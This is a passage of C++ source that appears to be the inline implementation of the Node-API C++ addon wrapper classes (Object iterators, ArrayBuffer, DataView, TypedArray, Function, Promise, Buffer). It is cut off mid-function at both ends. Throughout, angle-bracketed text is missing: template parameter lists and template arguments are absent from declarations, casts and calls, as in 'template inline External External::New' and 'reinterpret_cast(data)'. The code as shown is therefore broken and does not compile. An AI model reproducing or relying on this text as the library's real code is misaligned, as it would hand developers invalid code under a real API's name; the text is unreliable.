finalizeHint) const { details::FinalizeData* finalizeData = new details::FinalizeData( {std::move(finalizeCallback), finalizeHint}); napi_status status = details:: AttachData::WrapperWithHint>( _env, *this, data, finalizeData); if (status != napi_ok) { delete finalizeData; NAPI_THROW_IF_FAILED_VOID(_env, status); } } #ifdef NODE_ADDON_API_CPP_EXCEPTIONS inline Object::const_iterator::const_iterator(const Object* object, const Type type) { _object = object; _keys = object->GetPropertyNames(); _index = type == Type::BEGIN ? 0 : _keys.Length(); } inline Object::const_iterator Napi::Object::begin() const { const_iterator it(this, Object::const_iterator::Type::BEGIN); return it; } inline Object::const_iterator Napi::Object::end() const { const_iterator it(this, Object::const_iterator::Type::END); return it; } inline Object::const_iterator& Object::const_iterator::operator++() { ++_index; return *this; } inline bool Object::const_iterator::operator==( const const_iterator& other) const { return _index == other._index; } inline bool Object::const_iterator::operator!=( const const_iterator& other) const { return _index != other._index; } inline const std::pair> Object::const_iterator::operator*() const { const Value key = _keys[_index]; const PropertyLValue value = (*_object)[key]; return {key, value}; } inline Object::iterator::iterator(Object* object, const Type type) { _object = object; _keys = object->GetPropertyNames(); _index = type == Type::BEGIN ? 0 : _keys.Length(); } inline Object::iterator Napi::Object::begin() { iterator it(this, Object::iterator::Type::BEGIN); return it; } inline Object::iterator Napi::Object::end() { iterator it(this, Object::iterator::Type::END); return it; } inline Object::iterator& Object::iterator::operator++() { ++_index; return *this; } inline bool Object::iterator::operator==(const iterator& other) const { return _index == other._index; } inline bool Object::iterator::operator!=(const iterator& other) const { return _index != other._index; } inline std::pair> Object::iterator::operator*() { Value key = _keys[_index]; PropertyLValue value = (*_object)[key]; return {key, value}; } #endif // NODE_ADDON_API_CPP_EXCEPTIONS #if NAPI_VERSION >= 8 inline MaybeOrValue Object::Freeze() const { napi_status status = napi_object_freeze(_env, _value); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); } inline MaybeOrValue Object::Seal() const { napi_status status = napi_object_seal(_env, _value); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); } #endif // NAPI_VERSION >= 8 inline MaybeOrValue Object::GetPrototype() const { napi_value result; napi_status status = napi_get_prototype(_env, _value, &result); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, Object(_env, result), Object); } #ifdef NODE_API_EXPERIMENTAL_HAS_SET_PROTOTYPE inline MaybeOrValue Object::SetPrototype(const Object& value) const { napi_status status = node_api_set_prototype(_env, _value, value); NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, status == napi_ok, bool); } #endif //////////////////////////////////////////////////////////////////////////////// // External class //////////////////////////////////////////////////////////////////////////////// template inline External External::New(napi_env env, T* data) { napi_value value; napi_status status = napi_create_external(env, data, nullptr, nullptr, &value); NAPI_THROW_IF_FAILED(env, status, External()); return External(env, value); } template template inline External External::New(napi_env env, T* data, Finalizer finalizeCallback) { napi_value value; details::FinalizeData* finalizeData = new details::FinalizeData( {std::move(finalizeCallback), nullptr}); napi_status status = napi_create_external(env, data, details::FinalizeData::Wrapper, finalizeData, &value); if (status != napi_ok) { delete finalizeData; NAPI_THROW_IF_FAILED(env, status, External()); } return External(env, value); } template template inline External External::New(napi_env env, T* data, Finalizer finalizeCallback, Hint* finalizeHint) { napi_value value; details::FinalizeData* finalizeData = new details::FinalizeData( {std::move(finalizeCallback), finalizeHint}); napi_status status = napi_create_external( env, data, details::FinalizeData::WrapperWithHint, finalizeData, &value); if (status != napi_ok) { delete finalizeData; NAPI_THROW_IF_FAILED(env, status, External()); } return External(env, value); } template inline void External::CheckCast(napi_env env, napi_value value) { NAPI_CHECK(value != nullptr, "External::CheckCast", "empty value"); napi_valuetype type; napi_status status = napi_typeof(env, value, &type); NAPI_CHECK(status == napi_ok, "External::CheckCast", "napi_typeof failed"); NAPI_INTERNAL_CHECK_EQ(type, napi_external, "%d", "External::CheckCast"); } template inline External::External() : TypeTaggable() {} template inline External::External(napi_env env, napi_value value) : TypeTaggable(env, value) {} template inline T* External::Data() const { void* data; napi_status status = napi_get_value_external(_env, _value, &data); NAPI_THROW_IF_FAILED(_env, status, nullptr); return reinterpret_cast(data); } //////////////////////////////////////////////////////////////////////////////// // Array class //////////////////////////////////////////////////////////////////////////////// inline Array Array::New(napi_env env) { napi_value value; napi_status status = napi_create_array(env, &value); NAPI_THROW_IF_FAILED(env, status, Array()); return Array(env, value); } inline Array Array::New(napi_env env, size_t length) { napi_value value; napi_status status = napi_create_array_with_length(env, length, &value); NAPI_THROW_IF_FAILED(env, status, Array()); return Array(env, value); } inline void Array::CheckCast(napi_env env, napi_value value) { NAPI_CHECK(value != nullptr, "Array::CheckCast", "empty value"); bool result; napi_status status = napi_is_array(env, value, &result); NAPI_CHECK(status == napi_ok, "Array::CheckCast", "napi_is_array failed"); NAPI_CHECK(result, "Array::CheckCast", "value is not array"); } inline Array::Array() : Object() {} inline Array::Array(napi_env env, napi_value value) : Object(env, value) {} inline uint32_t Array::Length() const { uint32_t result; napi_status status = napi_get_array_length(_env, _value, &result); NAPI_THROW_IF_FAILED(_env, status, 0); return result; } #ifdef NODE_API_EXPERIMENTAL_HAS_SHAREDARRAYBUFFER //////////////////////////////////////////////////////////////////////////////// // SharedArrayBuffer class //////////////////////////////////////////////////////////////////////////////// inline SharedArrayBuffer::SharedArrayBuffer() : Object() {} inline SharedArrayBuffer::SharedArrayBuffer(napi_env env, napi_value value) : Object(env, value) {} inline void SharedArrayBuffer::CheckCast(napi_env env, napi_value value) { NAPI_CHECK(value != nullptr, "SharedArrayBuffer::CheckCast", "empty value"); bool result; napi_status status = node_api_is_sharedarraybuffer(env, value, &result); NAPI_CHECK(status == napi_ok, "SharedArrayBuffer::CheckCast", "node_api_is_sharedarraybuffer failed"); NAPI_CHECK( result, "SharedArrayBuffer::CheckCast", "value is not sharedarraybuffer"); } inline SharedArrayBuffer SharedArrayBuffer::New(napi_env env, size_t byteLength) { napi_value value; void* data; napi_status status = node_api_create_sharedarraybuffer(env, byteLength, &data, &value); NAPI_THROW_IF_FAILED(env, status, SharedArrayBuffer()); return SharedArrayBuffer(env, value); } inline void* SharedArrayBuffer::Data() { void* data; napi_status status = napi_get_arraybuffer_info(_env, _value, &data, nullptr); NAPI_THROW_IF_FAILED(_env, status, nullptr); return data; } inline size_t SharedArrayBuffer::ByteLength() { size_t length; napi_status status = napi_get_arraybuffer_info(_env, _value, nullptr, &length); NAPI_THROW_IF_FAILED(_env, status, 0); return length; } #endif // NODE_API_EXPERIMENTAL_HAS_SHAREDARRAYBUFFER //////////////////////////////////////////////////////////////////////////////// // ArrayBuffer class //////////////////////////////////////////////////////////////////////////////// inline ArrayBuffer ArrayBuffer::New(napi_env env, size_t byteLength) { napi_value value; void* data; napi_status status = napi_create_arraybuffer(env, byteLength, &data, &value); NAPI_THROW_IF_FAILED(env, status, ArrayBuffer()); return ArrayBuffer(env, value); } #ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED inline ArrayBuffer ArrayBuffer::New(napi_env env, void* externalData, size_t byteLength) { napi_value value; napi_status status = napi_create_external_arraybuffer( env, externalData, byteLength, nullptr, nullptr, &value); NAPI_THROW_IF_FAILED(env, status, ArrayBuffer()); return ArrayBuffer(env, value); } template inline ArrayBuffer ArrayBuffer::New(napi_env env, void* externalData, size_t byteLength, Finalizer finalizeCallback) { napi_value value; details::FinalizeData* finalizeData = new details::FinalizeData( {std::move(finalizeCallback), nullptr}); napi_status status = napi_create_external_arraybuffer( env, externalData, byteLength, details::FinalizeData::Wrapper, finalizeData, &value); if (status != napi_ok) { delete finalizeData; NAPI_THROW_IF_FAILED(env, status, ArrayBuffer()); } return ArrayBuffer(env, value); } template inline ArrayBuffer ArrayBuffer::New(napi_env env, void* externalData, size_t byteLength, Finalizer finalizeCallback, Hint* finalizeHint) { napi_value value; details::FinalizeData* finalizeData = new details::FinalizeData( {std::move(finalizeCallback), finalizeHint}); napi_status status = napi_create_external_arraybuffer( env, externalData, byteLength, details::FinalizeData::WrapperWithHint, finalizeData, &value); if (status != napi_ok) { delete finalizeData; NAPI_THROW_IF_FAILED(env, status, ArrayBuffer()); } return ArrayBuffer(env, value); } #endif // NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED inline void ArrayBuffer::CheckCast(napi_env env, napi_value value) { NAPI_CHECK(value != nullptr, "ArrayBuffer::CheckCast", "empty value"); bool result; napi_status status = napi_is_arraybuffer(env, value, &result); NAPI_CHECK(status == napi_ok, "ArrayBuffer::CheckCast", "napi_is_arraybuffer failed"); NAPI_CHECK(result, "ArrayBuffer::CheckCast", "value is not arraybuffer"); } inline ArrayBuffer::ArrayBuffer() : Object() {} inline ArrayBuffer::ArrayBuffer(napi_env env, napi_value value) : Object(env, value) {} inline void* ArrayBuffer::Data() { void* data; napi_status status = napi_get_arraybuffer_info(_env, _value, &data, nullptr); NAPI_THROW_IF_FAILED(_env, status, nullptr); return data; } inline size_t ArrayBuffer::ByteLength() { size_t length; napi_status status = napi_get_arraybuffer_info(_env, _value, nullptr, &length); NAPI_THROW_IF_FAILED(_env, status, 0); return length; } #if NAPI_VERSION >= 7 inline bool ArrayBuffer::IsDetached() const { bool detached; napi_status status = napi_is_detached_arraybuffer(_env, _value, &detached); NAPI_THROW_IF_FAILED(_env, status, false); return detached; } inline void ArrayBuffer::Detach() { napi_status status = napi_detach_arraybuffer(_env, _value); NAPI_THROW_IF_FAILED_VOID(_env, status); } #endif // NAPI_VERSION >= 7 //////////////////////////////////////////////////////////////////////////////// // DataView class //////////////////////////////////////////////////////////////////////////////// inline DataView DataView::New(napi_env env, Napi::ArrayBuffer arrayBuffer) { return New(env, arrayBuffer, 0, arrayBuffer.ByteLength()); } inline DataView DataView::New(napi_env env, Napi::ArrayBuffer arrayBuffer, size_t byteOffset) { if (byteOffset > arrayBuffer.ByteLength()) { NAPI_THROW(RangeError::New( env, "Start offset is outside the bounds of the buffer"), DataView()); } return New( env, arrayBuffer, byteOffset, arrayBuffer.ByteLength() - byteOffset); } inline DataView DataView::New(napi_env env, Napi::ArrayBuffer arrayBuffer, size_t byteOffset, size_t byteLength) { if (byteOffset + byteLength > arrayBuffer.ByteLength()) { NAPI_THROW(RangeError::New(env, "Invalid DataView length"), DataView()); } napi_value value; napi_status status = napi_create_dataview(env, byteLength, arrayBuffer, byteOffset, &value); NAPI_THROW_IF_FAILED(env, status, DataView()); return DataView(env, value); } #ifdef NODE_API_EXPERIMENTAL_HAS_SHAREDARRAYBUFFER inline DataView DataView::New(napi_env env, Napi::SharedArrayBuffer arrayBuffer) { return New(env, arrayBuffer, 0, arrayBuffer.ByteLength()); } inline DataView DataView::New(napi_env env, Napi::SharedArrayBuffer arrayBuffer, size_t byteOffset) { if (byteOffset > arrayBuffer.ByteLength()) { NAPI_THROW(RangeError::New( env, "Start offset is outside the bounds of the buffer"), DataView()); } return New( env, arrayBuffer, byteOffset, arrayBuffer.ByteLength() - byteOffset); } inline DataView DataView::New(napi_env env, Napi::SharedArrayBuffer arrayBuffer, size_t byteOffset, size_t byteLength) { if (byteOffset + byteLength > arrayBuffer.ByteLength()) { NAPI_THROW(RangeError::New(env, "Invalid DataView length"), DataView()); } napi_value value; napi_status status = napi_create_dataview(env, byteLength, arrayBuffer, byteOffset, &value); NAPI_THROW_IF_FAILED(env, status, DataView()); return DataView(env, value); } #endif // NODE_API_EXPERIMENTAL_HAS_SHAREDARRAYBUFFER inline void DataView::CheckCast(napi_env env, napi_value value) { NAPI_CHECK(value != nullptr, "DataView::CheckCast", "empty value"); bool result; napi_status status = napi_is_dataview(env, value, &result); NAPI_CHECK( status == napi_ok, "DataView::CheckCast", "napi_is_dataview failed"); NAPI_CHECK(result, "DataView::CheckCast", "value is not dataview"); } inline DataView::DataView() : Object() {} inline DataView::DataView(napi_env env, napi_value value) : Object(env, value) { napi_status status = napi_get_dataview_info(_env, _value /* dataView */, &_length /* byteLength */, &_data /* data */, nullptr /* arrayBuffer */, nullptr /* byteOffset */); NAPI_THROW_IF_FAILED_VOID(_env, status); } inline Napi::ArrayBuffer DataView::ArrayBuffer() const { return Buffer().As(); } inline Napi::Value DataView::Buffer() const { napi_value arrayBuffer; napi_status status = napi_get_dataview_info(_env, _value /* dataView */, nullptr /* byteLength */, nullptr /* data */, &arrayBuffer /* arrayBuffer */, nullptr /* byteOffset */); NAPI_THROW_IF_FAILED(_env, status, Napi::Value()); return Napi::Value(_env, arrayBuffer); } inline size_t DataView::ByteOffset() const { size_t byteOffset; napi_status status = napi_get_dataview_info(_env, _value /* dataView */, nullptr /* byteLength */, nullptr /* data */, nullptr /* arrayBuffer */, &byteOffset /* byteOffset */); NAPI_THROW_IF_FAILED(_env, status, 0); return byteOffset; } inline size_t DataView::ByteLength() const { return _length; } inline void* DataView::Data() const { return _data; } inline float DataView::GetFloat32(size_t byteOffset) const { return ReadData(byteOffset); } inline double DataView::GetFloat64(size_t byteOffset) const { return ReadData(byteOffset); } inline int8_t DataView::GetInt8(size_t byteOffset) const { return ReadData(byteOffset); } inline int16_t DataView::GetInt16(size_t byteOffset) const { return ReadData(byteOffset); } inline int32_t DataView::GetInt32(size_t byteOffset) const { return ReadData(byteOffset); } inline uint8_t DataView::GetUint8(size_t byteOffset) const { return ReadData(byteOffset); } inline uint16_t DataView::GetUint16(size_t byteOffset) const { return ReadData(byteOffset); } inline uint32_t DataView::GetUint32(size_t byteOffset) const { return ReadData(byteOffset); } inline void DataView::SetFloat32(size_t byteOffset, float value) const { WriteData(byteOffset, value); } inline void DataView::SetFloat64(size_t byteOffset, double value) const { WriteData(byteOffset, value); } inline void DataView::SetInt8(size_t byteOffset, int8_t value) const { WriteData(byteOffset, value); } inline void DataView::SetInt16(size_t byteOffset, int16_t value) const { WriteData(byteOffset, value); } inline void DataView::SetInt32(size_t byteOffset, int32_t value) const { WriteData(byteOffset, value); } inline void DataView::SetUint8(size_t byteOffset, uint8_t value) const { WriteData(byteOffset, value); } inline void DataView::SetUint16(size_t byteOffset, uint16_t value) const { WriteData(byteOffset, value); } inline void DataView::SetUint32(size_t byteOffset, uint32_t value) const { WriteData(byteOffset, value); } template inline T DataView::ReadData(size_t byteOffset) const { if (byteOffset + sizeof(T) > _length || byteOffset + sizeof(T) < byteOffset) { // overflow NAPI_THROW( RangeError::New(_env, "Offset is outside the bounds of the DataView"), 0); } return *reinterpret_cast(static_cast(_data) + byteOffset); } template inline void DataView::WriteData(size_t byteOffset, T value) const { if (byteOffset + sizeof(T) > _length || byteOffset + sizeof(T) < byteOffset) { // overflow NAPI_THROW_VOID( RangeError::New(_env, "Offset is outside the bounds of the DataView")); } *reinterpret_cast(static_cast(_data) + byteOffset) = value; } //////////////////////////////////////////////////////////////////////////////// // TypedArray class //////////////////////////////////////////////////////////////////////////////// inline void TypedArray::CheckCast(napi_env env, napi_value value) { NAPI_CHECK(value != nullptr, "TypedArray::CheckCast", "empty value"); bool result; napi_status status = napi_is_typedarray(env, value, &result); NAPI_CHECK( status == napi_ok, "TypedArray::CheckCast", "napi_is_typedarray failed"); NAPI_CHECK(result, "TypedArray::CheckCast", "value is not typedarray"); } inline TypedArray::TypedArray() : Object(), _type(napi_typedarray_type::napi_int8_array), _length(0) {} inline TypedArray::TypedArray(napi_env env, napi_value value) : Object(env, value), _type(napi_typedarray_type::napi_int8_array), _length(0) { if (value != nullptr) { napi_status status = napi_get_typedarray_info(_env, _value, &const_cast(this)->_type, &const_cast(this)->_length, nullptr, nullptr, nullptr); NAPI_THROW_IF_FAILED_VOID(_env, status); } } inline TypedArray::TypedArray(napi_env env, napi_value value, napi_typedarray_type type, size_t length) : Object(env, value), _type(type), _length(length) {} inline napi_typedarray_type TypedArray::TypedArrayType() const { return _type; } inline uint8_t TypedArray::ElementSize() const { switch (_type) { case napi_int8_array: case napi_uint8_array: case napi_uint8_clamped_array: return 1; case napi_int16_array: case napi_uint16_array: return 2; case napi_int32_array: case napi_uint32_array: case napi_float32_array: return 4; case napi_float64_array: #if (NAPI_VERSION > 5) case napi_bigint64_array: case napi_biguint64_array: #endif // (NAPI_VERSION > 5) return 8; default: return 0; } } inline size_t TypedArray::ElementLength() const { return _length; } inline size_t TypedArray::ByteOffset() const { size_t byteOffset; napi_status status = napi_get_typedarray_info( _env, _value, nullptr, nullptr, nullptr, nullptr, &byteOffset); NAPI_THROW_IF_FAILED(_env, status, 0); return byteOffset; } inline size_t TypedArray::ByteLength() const { return ElementSize() * ElementLength(); } inline Napi::ArrayBuffer TypedArray::ArrayBuffer() const { napi_value arrayBuffer; napi_status status = napi_get_typedarray_info( _env, _value, nullptr, nullptr, nullptr, &arrayBuffer, nullptr); NAPI_THROW_IF_FAILED(_env, status, Napi::ArrayBuffer()); return Napi::ArrayBuffer(_env, arrayBuffer); } inline Napi::Value TypedArray::Buffer() const { napi_value arrayBuffer; napi_status status = napi_get_typedarray_info( _env, _value, nullptr, nullptr, nullptr, &arrayBuffer, nullptr); NAPI_THROW_IF_FAILED(_env, status, Napi::Value()); return Napi::Value(_env, arrayBuffer); } //////////////////////////////////////////////////////////////////////////////// // TypedArrayOf class //////////////////////////////////////////////////////////////////////////////// template inline void TypedArrayOf::CheckCast(napi_env env, napi_value value) { TypedArray::CheckCast(env, value); napi_typedarray_type type; napi_status status = napi_get_typedarray_info( env, value, &type, nullptr, nullptr, nullptr, nullptr); NAPI_CHECK(status == napi_ok, "TypedArrayOf::CheckCast", "napi_is_typedarray failed"); NAPI_INTERNAL_CHECK( (type == TypedArrayTypeForPrimitiveType() || (type == napi_uint8_clamped_array && std::is_same::value)), "TypedArrayOf::CheckCast", "Array type must match the template parameter, (Uint8 arrays may " "optionally have the \"clamped\" array type.), got %d.", type); } template inline TypedArrayOf TypedArrayOf::New(napi_env env, size_t elementLength, napi_typedarray_type type) { Napi::ArrayBuffer arrayBuffer = Napi::ArrayBuffer::New(env, elementLength * sizeof(T)); return New(env, elementLength, arrayBuffer, 0, type); } template inline TypedArrayOf TypedArrayOf::New(napi_env env, size_t elementLength, Napi::ArrayBuffer arrayBuffer, size_t bufferOffset, napi_typedarray_type type) { napi_value value; napi_status status = napi_create_typedarray( env, type, elementLength, arrayBuffer, bufferOffset, &value); NAPI_THROW_IF_FAILED(env, status, TypedArrayOf()); return TypedArrayOf( env, value, type, elementLength, reinterpret_cast(reinterpret_cast(arrayBuffer.Data()) + bufferOffset)); } #ifdef NODE_API_EXPERIMENTAL_HAS_SHAREDARRAYBUFFER template inline TypedArrayOf TypedArrayOf::New(napi_env env, size_t elementLength, Napi::SharedArrayBuffer arrayBuffer, size_t bufferOffset, napi_typedarray_type type) { napi_value value; napi_status status = napi_create_typedarray( env, type, elementLength, arrayBuffer, bufferOffset, &value); NAPI_THROW_IF_FAILED(env, status, TypedArrayOf()); return TypedArrayOf( env, value, type, elementLength, reinterpret_cast(reinterpret_cast(arrayBuffer.Data()) + bufferOffset)); } #endif template inline TypedArrayOf::TypedArrayOf() : TypedArray(), _data(nullptr) {} template inline TypedArrayOf::TypedArrayOf(napi_env env, napi_value value) : TypedArray(env, value), _data(nullptr) { napi_status status = napi_ok; if (value != nullptr) { void* data = nullptr; status = napi_get_typedarray_info( _env, _value, &_type, &_length, &data, nullptr, nullptr); _data = static_cast(data); } else { _type = TypedArrayTypeForPrimitiveType(); _length = 0; } NAPI_THROW_IF_FAILED_VOID(_env, status); } template inline TypedArrayOf::TypedArrayOf(napi_env env, napi_value value, napi_typedarray_type type, size_t length, T* data) : TypedArray(env, value, type, length), _data(data) { if (!(type == TypedArrayTypeForPrimitiveType() || (type == napi_uint8_clamped_array && std::is_same::value))) { NAPI_THROW_VOID(TypeError::New( env, "Array type must match the template parameter. " "(Uint8 arrays may optionally have the \"clamped\" array type.)")); } } template inline T& TypedArrayOf::operator[](size_t index) { return _data[index]; } template inline const T& TypedArrayOf::operator[](size_t index) const { return _data[index]; } template inline T* TypedArrayOf::Data() { return _data; } template inline const T* TypedArrayOf::Data() const { return _data; } //////////////////////////////////////////////////////////////////////////////// // Function class //////////////////////////////////////////////////////////////////////////////// template inline napi_status CreateFunction(napi_env env, const char* utf8name, napi_callback cb, CbData* data, napi_value* result) { napi_status status = napi_create_function(env, utf8name, NAPI_AUTO_LENGTH, cb, data, result); if (status == napi_ok) { status = Napi::details::AttachData(env, *result, data); } return status; } template inline Function Function::New(napi_env env, const char* utf8name, void* data) { napi_value result = nullptr; napi_status status = napi_create_function(env, utf8name, NAPI_AUTO_LENGTH, details::TemplatedVoidCallback, data, &result); NAPI_THROW_IF_FAILED(env, status, Function()); return Function(env, result); } template inline Function Function::New(napi_env env, const char* utf8name, void* data) { napi_value result = nullptr; napi_status status = napi_create_function(env, utf8name, NAPI_AUTO_LENGTH, details::TemplatedCallback, data, &result); NAPI_THROW_IF_FAILED(env, status, Function()); return Function(env, result); } template inline Function Function::New(napi_env env, const std::string& utf8name, void* data) { return Function::New(env, utf8name.c_str(), data); } template inline Function Function::New(napi_env env, const std::string& utf8name, void* data) { return Function::New(env, utf8name.c_str(), data); } template inline Function Function::New(napi_env env, Callable cb, const char* utf8name, void* data) { using ReturnType = decltype(cb(CallbackInfo(nullptr, nullptr))); using CbData = details::CallbackData; auto callbackData = new CbData{std::move(cb), data}; napi_value value; napi_status status = CreateFunction(env, utf8name, CbData::Wrapper, callbackData, &value); if (status != napi_ok) { delete callbackData; NAPI_THROW_IF_FAILED(env, status, Function()); } return Function(env, value); } template inline Function Function::New(napi_env env, Callable cb, const std::string& utf8name, void* data) { return New(env, cb, utf8name.c_str(), data); } inline void Function::CheckCast(napi_env env, napi_value value) { NAPI_CHECK(value != nullptr, "Function::CheckCast", "empty value"); napi_valuetype type; napi_status status = napi_typeof(env, value, &type); NAPI_CHECK(status == napi_ok, "Function::CheckCast", "napi_typeof failed"); NAPI_INTERNAL_CHECK_EQ(type, napi_function, "%d", "Function::CheckCast"); } inline Function::Function() : Object() {} inline Function::Function(napi_env env, napi_value value) : Object(env, value) {} inline MaybeOrValue Function::operator()( const std::initializer_list& args) const { return Call(Env().Undefined(), args); } inline MaybeOrValue Function::Call( const std::initializer_list& args) const { return Call(Env().Undefined(), args); } inline MaybeOrValue Function::Call( const std::vector& args) const { return Call(Env().Undefined(), args); } inline MaybeOrValue Function::Call( const std::vector& args) const { return Call(Env().Undefined(), args); } inline MaybeOrValue Function::Call(size_t argc, const napi_value* args) const { return Call(Env().Undefined(), argc, args); } inline MaybeOrValue Function::Call( napi_value recv, const std::initializer_list& args) const { return Call(recv, args.size(), args.begin()); } inline MaybeOrValue Function::Call( napi_value recv, const std::vector& args) const { return Call(recv, args.size(), args.data()); } inline MaybeOrValue Function::Call( napi_value recv, const std::vector& args) const { const size_t argc = args.size(); const size_t stackArgsCount = 6; napi_value stackArgs[stackArgsCount]; std::vector heapArgs; napi_value* argv; if (argc <= stackArgsCount) { argv = stackArgs; } else { heapArgs.resize(argc); argv = heapArgs.data(); } for (size_t index = 0; index < argc; index++) { argv[index] = static_cast(args[index]); } return Call(recv, argc, argv); } inline MaybeOrValue Function::Call(napi_value recv, size_t argc, const napi_value* args) const { napi_value result; napi_status status = napi_call_function(_env, recv, _value, argc, args, &result); NAPI_RETURN_OR_THROW_IF_FAILED( _env, status, Napi::Value(_env, result), Napi::Value); } inline MaybeOrValue Function::MakeCallback( napi_value recv, const std::initializer_list& args, napi_async_context context) const { return MakeCallback(recv, args.size(), args.begin(), context); } inline MaybeOrValue Function::MakeCallback( napi_value recv, const std::vector& args, napi_async_context context) const { return MakeCallback(recv, args.size(), args.data(), context); } inline MaybeOrValue Function::MakeCallback( napi_value recv, size_t argc, const napi_value* args, napi_async_context context) const { napi_value result; napi_status status = napi_make_callback(_env, context, recv, _value, argc, args, &result); NAPI_RETURN_OR_THROW_IF_FAILED( _env, status, Napi::Value(_env, result), Napi::Value); } inline MaybeOrValue Function::New( const std::initializer_list& args) const { return New(args.size(), args.begin()); } inline MaybeOrValue Function::New( const std::vector& args) const { return New(args.size(), args.data()); } inline MaybeOrValue Function::New(size_t argc, const napi_value* args) const { napi_value result; napi_status status = napi_new_instance(_env, _value, argc, args, &result); NAPI_RETURN_OR_THROW_IF_FAILED( _env, status, Napi::Object(_env, result), Napi::Object); } //////////////////////////////////////////////////////////////////////////////// // Promise class //////////////////////////////////////////////////////////////////////////////// inline Promise::Deferred Promise::Deferred::New(napi_env env) { return Promise::Deferred(env); } inline Promise::Deferred::Deferred(napi_env env) : _env(env) { napi_status status = napi_create_promise(_env, &_deferred, &_promise); NAPI_THROW_IF_FAILED_VOID(_env, status); } inline Promise Promise::Deferred::Promise() const { return Napi::Promise(_env, _promise); } inline Napi::Env Promise::Deferred::Env() const { return Napi::Env(_env); } inline void Promise::Deferred::Resolve(napi_value value) const { napi_status status = napi_resolve_deferred(_env, _deferred, value); NAPI_THROW_IF_FAILED_VOID(_env, status); } inline void Promise::Deferred::Reject(napi_value value) const { napi_status status = napi_reject_deferred(_env, _deferred, value); NAPI_THROW_IF_FAILED_VOID(_env, status); } inline void Promise::CheckCast(napi_env env, napi_value value) { NAPI_CHECK(value != nullptr, "Promise::CheckCast", "empty value"); bool result; napi_status status = napi_is_promise(env, value, &result); NAPI_CHECK(status == napi_ok, "Promise::CheckCast", "napi_is_promise failed"); NAPI_CHECK(result, "Promise::CheckCast", "value is not promise"); } inline Promise::Promise() : Object() {} inline Promise::Promise(napi_env env, napi_value value) : Object(env, value) {} inline MaybeOrValue Promise::Then(napi_value onFulfilled) const { EscapableHandleScope scope(_env); #ifdef NODE_ADDON_API_ENABLE_MAYBE Value thenMethod; if (!Get("then").UnwrapTo(&thenMethod)) { return Nothing(); } MaybeOrValue result = thenMethod.As().Call(*this, {onFulfilled}); if (result.IsJust()) { return Just(scope.Escape(result.Unwrap()).As()); } return Nothing(); #else Function thenMethod = Get("then").As(); MaybeOrValue result = thenMethod.Call(*this, {onFulfilled}); if (scope.Env().IsExceptionPending()) { return Promise(); } return scope.Escape(result).As(); #endif } inline MaybeOrValue Promise::Then(napi_value onFulfilled, napi_value onRejected) const { EscapableHandleScope scope(_env); #ifdef NODE_ADDON_API_ENABLE_MAYBE Value thenMethod; if (!Get("then").UnwrapTo(&thenMethod)) { return Nothing(); } MaybeOrValue result = thenMethod.As().Call(*this, {onFulfilled, onRejected}); if (result.IsJust()) { return Just(scope.Escape(result.Unwrap()).As()); } return Nothing(); #else Function thenMethod = Get("then").As(); MaybeOrValue result = thenMethod.Call(*this, {onFulfilled, onRejected}); if (scope.Env().IsExceptionPending()) { return Promise(); } return scope.Escape(result).As(); #endif } inline MaybeOrValue Promise::Catch(napi_value onRejected) const { EscapableHandleScope scope(_env); #ifdef NODE_ADDON_API_ENABLE_MAYBE Value catchMethod; if (!Get("catch").UnwrapTo(&catchMethod)) { return Nothing(); } MaybeOrValue result = catchMethod.As().Call(*this, {onRejected}); if (result.IsJust()) { return Just(scope.Escape(result.Unwrap()).As()); } return Nothing(); #else Function catchMethod = Get("catch").As(); MaybeOrValue result = catchMethod.Call(*this, {onRejected}); if (scope.Env().IsExceptionPending()) { return Promise(); } return scope.Escape(result).As(); #endif } inline MaybeOrValue Promise::Then(const Function& onFulfilled) const { return Then(static_cast(onFulfilled)); } inline MaybeOrValue Promise::Then(const Function& onFulfilled, const Function& onRejected) const { return Then(static_cast(onFulfilled), static_cast(onRejected)); } inline MaybeOrValue Promise::Catch(const Function& onRejected) const { return Catch(static_cast(onRejected)); } //////////////////////////////////////////////////////////////////////////////// // Buffer class //////////////////////////////////////////////////////////////////////////////// template inline Buffer Buffer::New(napi_env env, size_t length) { napi_value value; void* data; napi_status status = napi_create_buffer(env, length * sizeof(T), &data, &value); NAPI_THROW_IF_FAILED(env, status, Buffer()); return Buffer(env, value); } #ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED template inline Buffer Buffer::New(napi_env env, T* data, size_t length) { napi_value value; napi_status status = napi_create_external_buffer( env, length * sizeof(T), data, nullptr, nullptr, &value); NAPI_THROW_IF_FAILED(env, status, Buffer()); return Buffer(env, value); } template template inline Buffer Buffer::New(napi_env env, T* data, size_t length, Finalizer finalizeCallback) { napi_value value; details::FinalizeData* finalizeData = new details::FinalizeData( {std::move(finalizeCallback), nullptr}); napi_status status = napi_create_external_buffer(env, length * sizeof(T), data, details::FinalizeData::Wrapper, finalizeData, &value); if (status != napi_ok) { delete finalizeData; NAPI_THROW_IF_FAILED(env, status, Buffer()); } return Buffer(env, value); } template template inline Buffer Buffer::New(napi_env env, T* data, size_t length, Finalizer finalizeCallback, Hint* finalizeHint) { napi_value value; details::FinalizeData* finalizeData = new details::FinalizeData( {std::move(finalizeCallback), finalizeHint}); napi_status status = napi_create_external_buffer( env, length * sizeof(T), data, details::FinalizeData::WrapperWithHint, finalizeData, &value); if (status != napi_ok) { delete finalizeData; NAPI_THROW_IF_FAILED(env, status, Buffer()); } return Buffer(env, value); } #endif // NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED template inline Buffer Buffer::NewOrCopy(napi_env env, T* data, size_t length) { #ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED napi_value value; napi_status status = napi_create_external_buffer( env, length * sizeof(T), data, nullptr, nullptr, &value); if (status == details::napi_no_external_buffers_allowed) { #endif // NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED // If we can't create an external buffer, we'll just copy the data. return Buffer::Copy(env, data, length); #ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED } NAPI_THROW_IF_FAILED(env, status, Buffer()); return Buffer(env, value); #endif // NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED } template template inline Buffer Buffer::NewOrCopy(napi_env env, T* data, size_t length, Finalizer finalizeCallback) { details::FinalizeData* finalizeData = new details::FinalizeData( {std::move(finalizeCallback), 